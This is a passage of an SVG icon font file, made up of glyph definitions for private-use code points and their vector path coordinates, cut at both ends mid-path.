	c 0.126,9.324-2.73,19.39-0.714,30.184c 2.044,10.794, 4.928,21.448, 8.638,31.99c 3.738,10.528, 8.372,20.454, 13.944,29.778
	c 5.544,9.338, 11.942,17.206, 19.138,23.604l0,24.388 l-98.21,0 L 223.776,132.252 z"  />
<glyph unicode="&#xe2cf;" d="M 56,272l 28,0 L 84,300 L 56,300 L 56,272 z M 392,356L 56,356 C 25.074,356,0,330.926,0,300l0-336 l 448,0 L 448,300 C 448,330.926, 422.926,356, 392,356z
	 M 420-8L 28-8 L 28,216 l 392,0 L 420-8 z M 420,244L 28,244 L 28,300 c0,15.456, 12.544,28, 28,28l 336,0 c 15.456,0, 28-12.544, 28-28L 420,244 z M 378,300L 182,300 c-7.728,0-14-6.272-14-14s 6.272-14, 14-14l 196,0 
	c 7.742,0, 14,6.272, 14,14S 385.742,300, 378,300z M 112,272l 28,0 L 140,300 L 112,300 L 112,272 z"  />
<glyph unicode="&#xe2d0;" d="M 420,48c0,0-115.5,0-140,0s 28-84, 28-84c0-15.456-12.544-28-28-28l-112,0 c-15.456,0-28,12.544-28,28
	c0,0, 53.368,84, 28,84S 28,48, 28,48c-15.456,0-28,12.544-28,28L0,356 c0,15.456, 12.544,28, 28,28l 392,0 c 15.456,0, 28-12.544, 28-28l0-280 C 448,60.544, 435.456,48, 420,48z
	 M 224,62c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28s-28-12.544-28-28S 208.544,62, 224,62z M 420,328c0,15.456-12.544,28-28,28L 56,356 C 40.544,356, 28,343.456, 28,328l0-168 
	c0-15.456, 12.544-28, 28-28l 336,0 c 15.456,0, 28,12.544, 28,28L 420,328 z"  />
<glyph unicode="&#xe2d1;" d="M 308,384L 140,384 C 109.074,384, 84,358.926, 84,328l0-336 c0-30.926, 25.074-56, 56-56l 168,0 c 30.926,0, 56,25.074, 56,56L 364,328 
			C 364,358.926, 338.926,384, 308,384z M 231,342l 42,0 C 276.85,342, 280,338.864, 280,335C 280,331.136, 276.85,328, 273,328l-42,0 C 227.136,328, 224,331.136, 224,335
			C 224,338.864, 227.136,342, 231,342z M 182,356c 7.728,0, 14-6.272, 14-14s-6.272-14-14-14s-14,6.272-14,14S 174.272,356, 182,356z M 252-22c0-7.742-6.258-14-14-14l-28,0 
			c-7.728,0-14,6.258-14,14l0,28 c0,7.742, 6.272,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 252-22 z M 336,62c0-7.742-6.258-14-14-14L 126,48 c-7.728,0-14,6.258-14,14L 112,286 
			c0,7.728, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.272, 14-14L 336,62 z"  />
<glyph unicode="&#xe2d2;" d="M 224.532,384C 224.532,384, 84,217.106, 84,75.678C 84-65.764, 223.468-64, 223.468-64
			S 364-62.25, 364,76.546S 224.532,384, 224.532,384z M 224-8c-46.382,0-84,37.618-84,84c0,29.694, 15.596,55.482, 38.878,70.364
			C 172.2,137.446, 168,124.944, 168,111c0-2.898, 0.266-5.698, 0.602-8.456C 168.476,100.668, 168,98.904, 168,97c0-3.598, 0.588-7.042, 1.064-10.5
			C 168.406,83.098, 168,79.598, 168,76c0-30.926, 25.074-56, 56-56c 3.598,0, 7.098,0.406, 10.5,1.050C 237.972,20.574, 241.402,20, 245,20
			c 1.904,0, 3.668,0.462, 5.53,0.616C 253.288,20.266, 256.102,20, 259,20c 13.944,0, 26.446,4.2, 35.364,10.864C 279.482,7.596, 253.694-8, 224-8z
			"  />
<glyph unicode="&#xe2d3;" d="M 217,160c-30.926,0-56,25.074-56,56l-84,0 l0-140 c0-77.308, 62.678-140, 140-140
		c 77.322,0, 140,62.692, 140,140L 357,216 l-84,0 C 273,185.074, 247.926,160, 217,160z M 161,272c0,30.926, 25.074,56, 56,56s 56-25.074, 56-56l0-28 l 84,0 
		c0,77.322-62.678,140-140,140c-77.322,0-140-62.678-140-140l 84,0 L 161,272 z M 203,286l0-84 c0-7.728, 6.272-14, 14-14s 14,6.272, 14,14L 231,286 c0,7.728-6.272,14-14,14
		S 203,293.728, 203,286z"  />
<glyph unicode="&#xe2d4;" d="M 329,132c0-61.852-50.148-112-112-112s-112,50.148-112,112c0,57.19, 54.838,92.33, 112,97.314L 217,160 l 140,98
		L 357,272 l-140,112l0-70.588 C 114.142,307.364, 21,235.558, 21,132c0-108.248, 87.752-196, 196-196s 196,87.752, 196,196L 329,132 z"  />
<glyph unicode="&#xe2d5;" d="M 224.182-64L 224.182,160.238 L 8.246,160.238 l0-0.182 L 0.14,160.056 L0,160.238L 448,384L 224.182-64z"  />
<glyph unicode="&#xe2d6;" d="M 406.182,383.174l0,0.7 l-136.444,0 c-2.408,0.308-4.858,0.224-7.126-0.728
	c-4.144-1.106-7.588-3.85-9.268-7.728L 3.906,125.994c-5.446-5.46-5.446-14.294,0-19.74l 166.208-166.208c 5.46-5.446, 14.294-5.446, 19.74,0
	l 248.71,248.724c 5.544,1.862, 9.618,6.944, 9.618,13.118l0,133 C 448.182,359.542, 429.898,379.744, 406.182,383.174z M 364.182,271.874
	c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28S 379.638,271.874, 364.182,271.874z"  />
<glyph unicode="&#xe2d7;" d="M 29.764,367.368c 17.892,17.934, 71.974,20.93, 72.38,11.438
	c 0.406-9.478, 48.706-114.674, 49.126-124.166c 0.42-9.478-31.836-41.818-41.272-51.282c-9.352-9.366, 63.112-91.462, 64.484-93.016
	c 1.54-1.386, 83.44-74.018, 92.792-64.638c 9.436,9.464, 41.706,41.79, 51.142,41.37c 9.464-0.406, 114.422-48.818, 123.886-49.252
	c 9.464-0.406, 6.482-54.6-11.41-72.548c-15.302-15.33-94.528-70.994-232.288,28.406c-15.106,8.708-39.032,28.686-75.32,65.044
	c-0.014,0.014-0.042,0.042-0.070,0.056c-0.028,0.042-0.056,0.056-0.084,0.084s-0.056,0.056-0.084,0.084
	c-0.014,0.028-0.042,0.056-0.056,0.070c-36.26,36.372-56.196,60.368-64.89,75.502C-41.062,272.616, 14.476,352.038, 29.764,367.368z"  />
<glyph unicode="&#xe2d8;" d="M 177.954,20.49c-92.092-73.36-116.928-55.622-74.494,53.298C-14.84,67.684-24.332,96.454, 74.998,160
	c-99.33,63.56-89.838,92.302, 28.462,86.226C 61.040,355.132, 85.876,372.898, 177.954,299.51c 30.688,112.644, 61.39,112.644, 92.092,0
	c 92.078,73.388, 116.928,55.622, 74.48-53.284c 118.314,6.076, 127.792-22.666, 28.462-86.226c 99.33-63.546, 89.852-92.316-28.462-86.212
	c 42.434-108.906, 17.598-126.658-74.48-53.298C 239.358-92.168, 208.642-92.168, 177.954,20.49z"  />
<glyph unicode="&#xe2d9;" d="M 233.646,136.83L 308-36l-56-28l-65.044,177.492L 84,20L 84,384 l 280-224L 233.646,136.83z"  />
<glyph unicode="&#xe2da;" d="M 107.058,201.034c 1.61,7.616-8.582,14.21-19.544,14.476
		c-13.132,0.322-23.254,0.434-32.368,0.476C 47.656,216.014, 42.042,209.728, 42,202l0-210 c 0.042-7.728, 5.642-14.014, 13.188-13.986
		c 9.17,0.042, 19.502,0.154, 33.278,0.476c 11.508,0.28, 22.316,6.86, 20.468,14.476C 94.626,62.056, 94.514,131.944, 107.058,201.034z M 378,160l-126,0 l0,28 l 126,0 
		c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28l-122.5,0 l 1.75,21.028L 266,335C 266,362.062, 244.076,384, 217,384C 189.938,384, 168,390.062, 168,363L 160.454,314l-0.462,0 
		l-5.978-41.874L 140,181c0-1.442, 0.21-2.576, 0.49-3.612L 140,174l-12.796-8.414C 127.204,165.586, 126,162.002, 126,160l0-154 c0-7.742, 6.272-14, 14-14
		l 1.414,0 c 6.482-31.948, 34.72-56, 68.586-56l 112,0 c 33.866,0, 62.104,24.052, 68.586,56L 280-8 c-15.456,0-28,12.544-28,28l 112,0 c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28l-112,0 
		l0,28 l 126,0 c 15.456,0, 28,12.544, 28,28S 393.456,160, 378,160z"  />
<glyph unicode="&#xe2db;" d="M 392.812,342.028c-9.17-0.042-19.502-0.154-33.264-0.476
		c-11.522-0.28-22.33-6.86-20.482-14.462c 14.308-69.020, 14.42-138.838, 1.876-207.858c-1.596-7.602, 8.568-14.196, 19.544-14.462
		c 13.132-0.322, 23.254-0.434, 32.368-0.476c 7.49-0.028, 13.118,6.244, 13.146,13.972L 406,328.056 C 405.944,335.784, 400.372,342.056, 392.812,342.028z
		 M 308,328.056l-1.414,0 C 300.104,359.976, 271.866,384, 238,384L 126,384 C 92.134,384, 63.896,359.976, 57.414,328.056L 168,328.056 c 15.456,0, 28-12.53, 28-27.972L 84,300.084 
		c-15.456,0-28-12.53-28-27.972S 68.544,244.14, 84,244.14l 112,0 l0-27.972 L 70,216.168 c-15.456,0-28-12.53-28-27.972s 12.544-27.972, 28-27.972l 126,0 l0-27.972 L 70,132.252 
		c-15.456,0-28-12.53-28-27.972s 12.544-27.972, 28-27.972l 122.5,0 l-1.75-20.986L 182-14.622c0-27.034, 21.938-48.944, 49-48.944
		c 27.076,0, 49-6.062, 49,20.986l 7.532,48.944l 0.462,0 l 5.992,41.832L 308,139.238c0,1.456-0.21,2.576-0.49,3.612L 308,146.238l 12.796,8.4
		c0,0, 1.204,3.598, 1.204,5.586L 322,314.070 C 322,321.798, 315.742,328.056, 308,328.056z"  />
<glyph unicode="&#xe2dc;" d="M 420,20c-15.456,0-28,12.544-28,28l0,28 l0,84 c0,92.778-75.222,168-168,168C 131.222,328, 56,252.778, 56,160l0-84 
	l0-28 c0-15.456-12.544-28-28-28s-28,12.544-28,28l0,28 l0,84 C0,283.718, 100.296,384, 224,384c 123.704,0, 224-100.282, 224-224l0-84 l0-28 C 448,32.544, 435.456,20, 420,20z M 98,132l 28,0 
	c 7.728,0, 14-6.258, 14-14l0-140 c0-7.742-6.272-14-14-14L 98-36 c-7.728,0-14,6.258-14,14L 84,118 C 84,125.742, 90.272,132, 98,132z M 322,132l 28,0 c 7.742,0, 14-6.258, 14-14l0-140 
	c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 308,118 C 308,125.742, 314.258,132, 322,132z"  />
<glyph unicode="&#xe2dd;" d="M 251.776,301.106l0-112.882 l 112,0 l0,56 L 448,160l-84.224-84.21l0,57.302 l-112,0 l0-112.882 l 56.434,0 L 224-64
	l-84.224,84.21l 56,0 l0,112.882 l-112,0 l0-56.868 L0,160l 83.776,83.776l0-55.552 l 112,0 L 195.776,301.106 l-54.684,0 L 224,384l 82.908-82.894L 251.776,301.106 z"  />
<glyph unicode="&#xe2de;" d="M 443.884,284.138l-39.746,39.746c-5.502,5.502-14.364,5.502-19.866,0L 181.062,109.348
	l-116.48,116.536c-5.558,5.558-14.574,5.558-20.132,0l-40.264-40.292c-5.558-5.544-5.558-14.56,0-20.132l 165.662-169.512
	c 3.206-3.22, 7.56-4.326, 11.746-3.78c 4.326-0.644, 8.834,0.448, 12.152,3.78L 443.884,264.258C 449.372,269.746, 449.372,278.65, 443.884,284.138z"  />
<glyph unicode="&#xe2df;" d="M 430.094,289.164l-128.758-129.542l 128.758-128.772c 5.39-5.376, 5.39-14.098,0-19.488
	l-58.464-58.45c-5.362-5.39-14.084-5.39-19.474,0l-128.548,128.548l-127.778-128.548c-5.376-5.39-14.098-5.39-19.488,0l-58.45,58.45
	c-5.376,5.39-5.376,14.112,0,19.488l 127.778,128.548L 17.906,287.162c-5.376,5.376-5.376,14.098,0,19.488l 58.45,58.45
	c 5.376,5.39, 14.098,5.39, 19.488,0l 127.54-127.54l 128.786,129.542c 5.39,5.39, 14.112,5.39, 19.474,0l 58.464-58.45
	C 435.47,303.262, 435.47,294.54, 430.094,289.164z"  />
<glyph unicode="&#xe2e0;" d="M 416.78,125.462C 418.768,136.69, 420,148.184, 420,160c0,108.248-87.752,196-196,196c-11.816,0-23.31-1.232-34.538-3.22
	C 169.344,372.072, 142.072,384, 112,384C 50.148,384,0,333.852,0,272c0-30.072, 11.928-57.344, 31.22-77.462C 29.232,183.31, 28,171.816, 28,160c0-108.248, 87.752-196, 196-196
	c 11.816,0, 23.31,1.218, 34.538,3.22C 278.656-52.072, 305.928-64, 336-64c 61.852,0, 112,50.148, 112,112C 448,78.072, 436.072,105.344, 416.78,125.462z
	 M 310.31,81.544c-7.756-10.556-19.18-18.928-34.006-24.836c-14.686-5.866-32.27-8.848-52.262-8.848c-24.038,0-44.184,4.074-59.906,12.082
	c-11.242,5.852-20.51,13.734-27.552,23.562c-7.112,9.856-10.71,19.642-10.71,29.106c0,5.894, 2.338,10.99, 6.972,15.19
	c 4.578,4.172, 10.458,6.244, 17.458,6.244c 5.754,0, 10.724-1.638, 14.742-4.928c 3.85-3.178, 7.154-7.826, 9.814-13.804
	c 2.968-6.552, 6.188-12.054, 9.604-16.38c 3.29-4.214, 8.008-7.728, 14.042-10.472c 6.062-2.758, 14.252-4.172, 24.304-4.172
	c 13.818,0, 25.172,2.842, 33.698,8.456c 8.33,5.474, 12.376,12.054, 12.376,20.118c0,6.356-2.114,11.368-6.454,15.274
	c-4.564,4.102-10.57,7.294-17.836,9.492c-7.616,2.268-17.948,4.774-30.716,7.322c-17.36,3.584-32.102,7.826-43.848,12.614
	c-11.998,4.928-21.672,11.746-28.742,20.244c-7.182,8.68-10.822,19.516-10.822,32.298c0,12.166, 3.822,23.142, 11.368,32.592
	c 7.476,9.408, 18.41,16.716, 32.48,21.714c 13.874,4.956, 30.394,7.448, 49.084,7.448c 14.924,0, 28.084-1.666, 39.046-4.956
	c 11.032-3.29, 20.314-7.77, 27.65-13.258c 7.336-5.544, 12.824-11.438, 16.254-17.612c 3.458-6.188, 5.236-12.39, 5.236-18.368
	c0-5.768-2.31-10.99-6.86-15.554c-4.592-4.578-10.36-6.902-17.192-6.902c-6.188,0-11.046,1.456-14.406,4.312
	c-3.136,2.674-6.384,6.832-9.982,12.81c-4.186,7.63-9.226,13.65-15.022,17.892c-5.6,4.13-15.008,6.188-27.93,6.188
	c-11.984,0-21.756-2.31-28.98-6.888c-6.986-4.396-10.374-9.45-10.374-15.442c0-3.682, 1.092-6.734, 3.346-9.366
	c 2.366-2.828, 5.726-5.25, 9.968-7.308c 4.382-2.114, 8.932-3.808, 13.468-5.012c 4.648-1.246, 12.446-3.080, 23.142-5.46
	c 13.538-2.814, 25.984-5.95, 36.988-9.338c 11.158-3.444, 20.748-7.658, 28.63-12.586c 8.008-5.012, 14.35-11.452, 18.872-19.166
	c 4.508-7.742, 6.79-17.276, 6.79-28.364C 322.014,104.252, 318.094,92.1, 310.31,81.544z"  />
<glyph unicode="&#xe2e1;" d="M 406,243.93L 42,243.93 c-7.742,0-14-6.258-14-14l0-126 c0-7.742, 6.258-14, 14-14l 14,0 l0-140 
	c0-7.742, 6.258-14, 14-14l 308,0 c 7.742,0, 14,6.258, 14,14l0,140 l 14,0 c 7.742,0, 14,6.258, 14,14l0,126 C 420,237.672, 413.742,243.93, 406,243.93z M 196-22.070
	c0-7.742-6.258-14-14-14L 98-36.070 c-7.742,0-14,6.258-14,14l0,112 c0,7.742, 6.258,14, 14,14l 84,0 c 7.742,0, 14-6.258, 14-14L 196-22.070 z M 196,145.93c0-7.742-6.258-14-14-14
	L 70,131.93 c-7.742,0-14,6.258-14,14l0,56 c0,7.742, 6.258,14, 14,14l 112,0 c 7.742,0, 14-6.258, 14-14L 196,145.93 z M 364-22.070c0-7.742-6.258-14-14-14l-84,0 
	c-7.742,0-14,6.258-14,14l0,112 c0,7.742, 6.258,14, 14,14l 84,0 c 7.742,0, 14-6.258, 14-14L 364-22.070 z M 392,145.93c0-7.742-6.258-14-14-14l-112,0 
	c-7.742,0-14,6.258-14,14l0,56 c0,7.742, 6.258,14, 14,14l 112,0 c 7.742,0, 14-6.258, 14-14L 392,145.93 z M 161.826,243.944l 128.8,0 
	c 22.078,15.834, 42.952,36.442, 45.43,58.898c 1.204,10.962-1.148,27.020-19.25,41.314c-10.038,7.938-20.23,11.956-30.254,11.956
	c-31.948,0-50.022-39.172-59.794-74.172c-11.676,44.618-34.216,101.99-72.926,101.99c-11.298,0-22.54-4.886-33.474-14.532
	c-21.56-19.068-23.674-38.892-21.658-52.164C 103.222,287.568, 133.070,262.074, 161.826,243.944z M 286.552,322.512c 3.094,0, 7.084-1.848, 11.522-5.376
	c 7.224-5.684, 6.818-9.212, 6.706-10.374c-1.344-12.25-24.318-31.5-51.114-47.39C 261.548,293.266, 274.428,322.512, 286.552,322.512z M 140.476,343.54
	c 3.514,3.108, 8.694,6.804, 13.356,6.804c 17.332,0, 35.154-45.5, 45.542-89.74c-32.732,17.444-66.57,42.182-69.594,62.034
	C 129.374,325.382, 128.254,332.732, 140.476,343.54z"  />
<glyph unicode="&#xe2e2;" d="M 431.956-8.196L 16.030-8.196 c-8.834,0-16.016-6.944-16.016-15.526l0-24.794 c0-8.582, 7.182-15.526, 16.016-15.526l 415.94,0 
		c 8.862,0, 16.030,6.944, 16.030,15.526l0,24.794 C 447.986-15.14, 440.818-8.196, 431.956-8.196zM 298.648,216.21L 149.044,216.21L 111.818,132.378L 335.888,132.378 	zM 248.402,369.006c0,0-2.94,15.036-23.226,15.036s-23.464-15.554-23.464-15.554l-40.628-124.194l 128.156,0 L 248.402,369.006zM 351.428,104.322L 98.91,104.322L 60.032,6L 390.32,6 	z"  />
<glyph unicode="&#xe2e3;" d="M 378,62L 70,62 l-42-42l0-14 l 14-14l 126,0 c0-30.926, 25.074-56, 56-56s 56,25.074, 56,56l 126,0 l 14,14l0,14 L 378,62z M 364,174
		c0,57.4-34.58,106.652-84,128.268L 280,328 c0,30.926-25.074,56-56,56s-56-25.074-56-56l0-25.732 C 118.58,280.652, 84,231.4, 84,174l0-98 l 280,0 L 364,174 z M 196,328c0,15.456, 12.544,28, 28,28
		s 28-12.544, 28-28L 196,328 z"  />
<glyph unicode="&#xe2e4;" d="M 336,202.028l0,28 c0,7.742-6.258,14-14,14L 14,244.028 c-7.742,0-14-6.258-14-14l0-196.014 
			c0-2.52, 0.854-4.746, 2.002-6.79C 11.76-24.688, 57.26-64, 112-64l 112,0 c 35.294,0, 66.584,16.478, 87.094,42L 336-22 c 61.852,0, 112,50.162, 112,112.014
			C 448,151.88, 397.852,202.028, 336,202.028z M 336,34.014l0,112.014 c 30.926,0, 56-25.074, 56-56.014C 392,59.088, 366.926,34.014, 336,34.014z M 72.772,264.944
			c-2.086-3.78-1.848-6.902, 2.128-6.902c 3.948,0, 9.366,3.136, 10.724,6.874c 13.902,36.246-59.108,65.716-14.994,110.418
			C 75.152,379.968, 76.986,383.972, 72.982,384C 68.964,384.042, 60.718,380.22, 56.378,375.712C 13.874,332.046, 92.54,301.358, 72.772,264.944z M 125.65,264.776
			C 125.132,261.164, 127.344,258.042, 131.278,258.042c 3.906,0, 7.7,3.122, 8.092,6.706c 3.094,25.956-17.654,49.77-5.194,72.226
			c 0.196,4.060-4.578,8.092-10.766,8.638c-6.174,0.56-11.676-2.506-11.886-6.538C 110.026,309.786, 129.304,291.096, 125.65,264.776z M 187.628,258.042
			c 3.906,0, 7,3.122, 7.742,6.58c 7.098,33.544, 65.072,43.876, 21.364,103.782c-4.676,6.188-12.978,11.872-16.996,11.928
			c-4.032,0.070-4.382-5.46-1.708-11.578c 43.498-41.048, 1.736-70.504-16.758-104.132C 180.656,261.164, 183.736,258.042, 187.628,258.042z
			 M 244.006,258.042c 3.92,0, 6.552,3.15, 7.686,6.832c 10.64,35.602, 130.746,58.618, 29.75,107.618c-10.528,4.984-24.192,9.156-27.174,8.988
			c-3.038-0.21, 4.116-5.376, 13.104-11.018c 82.558-54.11, 5.628-37.786-29.666-105.7C 236.558,261.192, 240.1,258.042, 244.006,258.042z"  />
<glyph unicode="&#xe2e5;" d="M 406,188L 42,188 c-7.742,0-14,6.258-14,14s 6.258,14, 14,14l 28,0 l 84,154c0,7.742, 6.258,14, 14,14l 28,0 
	c 7.742,0, 14-6.258, 14-14L 126,216l 196,0 L 238,370c0,7.742, 6.258,14, 14,14l 42,0 c 7.742,0, 14-6.258, 14-14l 70-154l 28,0 c 7.742,0, 14-6.258, 14-14S 413.742,188, 406,188z M 42,160
	l 364,0 c 7.742,0, 14-6.258, 14-14l-28-196c0-7.742-6.258-14-14-14L 70-64 c-7.742,0-14,6.258-14,14L 28,146C 28,153.742, 34.258,160, 42,160z M 308-8l 28,0 
	c 7.742,0, 14,6.258, 14,14l 14,84c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14l-14-84C 294-1.742, 300.258-8, 308-8z M 196,6c0-7.742, 6.258-14, 14-14
	l 28,0 c 7.742,0, 14,6.258, 14,14l0,84 c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14L 196,6 z M 98,6c0-7.742, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14l-14,84
	c0,7.742-6.258,14-14,14L 98,104 c-7.742,0-14-6.258-14-14L 98,6z"  />
<glyph unicode="&#xe2e6;" d="M 68.964,384l-28,0 c-7.728,0-14-6.258-14-14l0-420 c0-7.742, 6.272-14, 14-14l 28,0 c 7.728,0, 14,6.258, 14,14
			L 82.964,370 C 82.964,377.742, 76.706,384, 68.964,384z M 418.964,118L 418.964,314 c0,7.742-1.722,14-14,14c-62.258-28-280,56-280,56c-7.728,0-14-6.258-14-14l0-210 
			c0-7.742, 6.272-14, 14-14c0,0, 154-49.994, 280-42C 428.974,96.006, 418.964,110.258, 418.964,118z"  />
<glyph unicode="&#xe2e7;" d="M 336,384L 112,384 C 96.544,384, 84,371.456, 84,356l0-392 c0-15.456, 12.544-28, 28-28l 224,0 c 15.456,0, 28,12.544, 28,28L 364,356 
		C 364,371.456, 351.456,384, 336,384z M 224-36c-46.382,0-84,37.618-84,84s 37.618,84, 84,84s 84-37.618, 84-84S 270.382-36, 224-36z M 336,174c0-7.742-6.258-14-14-14L 126,160 
		c-7.728,0-14,6.258-14,14L 112,342 c0,7.742, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.258, 14-14L 336,174 z M 224,76c-15.456,0-28-12.544-28-28s 12.544-28, 28-28s 28,12.544, 28,28
		S 239.456,76, 224,76z"  />
<glyph unicode="&#xe2e8;" d="M 294-8c 7.742,0, 14,6.258, 14,14L 308,202 c0,7.742-6.258,14-14,14s-14-6.258-14-14l0-196 C 280-1.742, 286.258-8, 294-8zM 154-8c 7.728,0, 14,6.258, 14,14L 168,202 c0,7.742-6.272,14-14,14s-14-6.258-14-14l0-196 C 140-1.742, 146.272-8, 154-8zM 406,300l-56,0 L 350,328 c0,30.926-25.074,56-56,56L 154,384 C 123.074,384, 98,358.926, 98,328l0-28 L 42,300 L0,258c0-7.742, 6.272-14, 14-14l 42,0 l0-280 c0-15.456, 12.544-28, 28-28l 280,0 
		c 15.456,0, 28,12.544, 28,28L 392,244 l 42,0 c 7.742,0, 14,6.258, 14,14L 406,300z M 140,328c0,15.456, 12.544,28, 28,28l 112,0 c 15.456,0, 28-12.544, 28-28l0-28 L 140,300 L 140,328 z M 364-22
		c0-7.742-6.258-14-14-14L 98-36 c-7.728,0-14,6.258-14,14L 84,244 l 280,0 L 364-22 zM 224-8c 7.742,0, 14,6.258, 14,14L 238,202 c0,7.742-6.258,14-14,14s-14-6.258-14-14l0-196 C 210-1.742, 216.258-8, 224-8z"  />
<glyph unicode="&#xe2e9;" d="M 447.944,383.902L 65.17,145.398l 145.124,0.112L 0.056-63.902l 419.482,266.98l-144.34-0.098
	L 447.944,383.902z"  />
<glyph unicode="&#xe2ea;" d="M 190.134-36.098c 99.428,0, 187.194,55.104, 187.194,146.93c0,33.502-15.666,54.026-22.232,64.834c-5.474,6.482-5.474,11.886, 7.658,12.964
	c 51.338,7.56, 85.204,35.658, 85.204,89.67c0,29.176-24.038,64.26-67.732,64.26c-20.748,0-46.102-19.964-46.102-41.566
	c0-11.9, 12.236-26.096, 29.708-26.096c 19.67,0, 30.814,20.692, 27.538,29.344c-1.078,5.404-4.578,11.886, 3.052,11.886
	c 14.224,0, 30.604-18.368, 30.604-35.658c0-30.254-28.406-51.044-73.206-51.044c-24.038,0-44.786,14.826-67.732,14.826
	c-57.904,0-91.77-45.892-91.77-85.876c0-45.374, 34.958-66.976, 61.18-66.976c 29.484,0, 38.234,17.276, 38.234,31.332
	c0,16.198-9.842,27.006-30.604,27.006c-16.38,0-24.038-17.276-22.946-25.928c 1.092-4.326-2.184-7.56-5.474-7.56
	c-4.368,0-17.472,14.042-17.472,32.396c0,12.978, 8.75,55.622, 54.628,55.622c 49.154,0, 83.398-44.8, 83.398-81.536
	c0-51.856-58.282-106.974-157.696-106.974c-99.428,0-156.226,45.374-156.226,111.286c0,30.254, 13.118,58.338, 29.484,70.224
	c 6.566,4.326, 9.842,3.234, 13.118-2.156c 7.658-5.404, 25.13-19.964, 36.050-19.964c 14.21,0, 21.854,17.794, 21.854,32.942
	c0,12.964-15.288,21.868-28.392,21.868s-21.854-7.826-27.314-9.982c-7.644,11.886-12.012,27.006-12.012,38.892c0,34.566, 25.13,56.266, 49.168,56.266
	c 20.748,0, 38.234-16.282, 34.958-36.82c-1.092-5.404-1.092-9.716, 1.092-9.716c 8.736,0, 28.392,12.964, 28.392,36.736
	c0,33.488-25.116,50.778-57.904,50.778c-53.522,0-86.296-37.814-86.296-77.798c0-23.758, 8.736-45.374, 22.946-63.742
	c-21.854-9.716-64.456-46.452-64.456-111.286C 0.042,48.182, 38.276-36.098, 190.134-36.098z"  />
<glyph unicode="&#xe2eb;" d="M 128.016,62.182l 137.76,56.448l 56.448,139.090l-139.076-55.146L 128.016,62.182z
			 M 224.406,187.594c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28s-28,12.544-28,28S 208.95,187.594, 224.406,187.594z M 224,384C 100.282,384,0,283.718,0,160
			s 100.282-224, 224-224s 224,100.282, 224,224S 347.718,384, 224,384z M 225.568-8.294c-93.058,0-168.49,75.432-168.49,168.476S 132.51,328.672, 225.568,328.672
			c 93.044,0, 168.476-75.446, 168.476-168.504S 318.626-8.294, 225.568-8.294z"  />
<glyph unicode="&#xe2ec;" d="M 98,48L 14,48 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 112,41.742, 105.742,48, 98,48z M 84-22c0-7.742-6.258-14-14-14L 42-36 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84-22 z
			 M 434,20L 182,20 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14l0,28 C 448,13.742, 441.742,20, 434,20z M 434,188L 182,188 
			c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14l0,28 C 448,181.742, 441.742,188, 434,188z M 98,384L 14,384 C 6.258,384,0,377.742,0,370l0-84 
			c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 112,370 C 112,377.742, 105.742,384, 98,384z M 84,314c0-7.742-6.258-14-14-14L 42,300 C 34.258,300, 28,306.258, 28,314L 28,342 
			c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,314 z M 98,216L 14,216 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 112,209.742, 105.742,216, 98,216z M 84,146c0-7.742-6.258-14-14-14L 42,132 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,146 z
			 M 434,356L 182,356 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14L 448,342 C 448,349.742, 441.742,356, 434,356z"  />
<glyph unicode="&#xe2ed;" d="M 98,216L 14,216 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 112,209.742, 105.742,216, 98,216z M 84,146c0-7.742-6.258-14-14-14L 42,132 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,146 z
			 M 98,384L 14,384 C 6.258,384,0,377.742,0,370l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 112,370 C 112,377.742, 105.742,384, 98,384z M 84,314c0-7.742-6.258-14-14-14L 42,300 
			C 34.258,300, 28,306.258, 28,314L 28,342 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,314 z M 98,48L 14,48 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 
			c 7.742,0, 14,6.258, 14,14l0,84 C 112,41.742, 105.742,48, 98,48z M 84-22c0-7.742-6.258-14-14-14L 42-36 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 
			c 7.742,0, 14-6.258, 14-14L 84-22 z M 266,216l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 280,209.742, 273.742,216, 266,216z M 252,146c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14
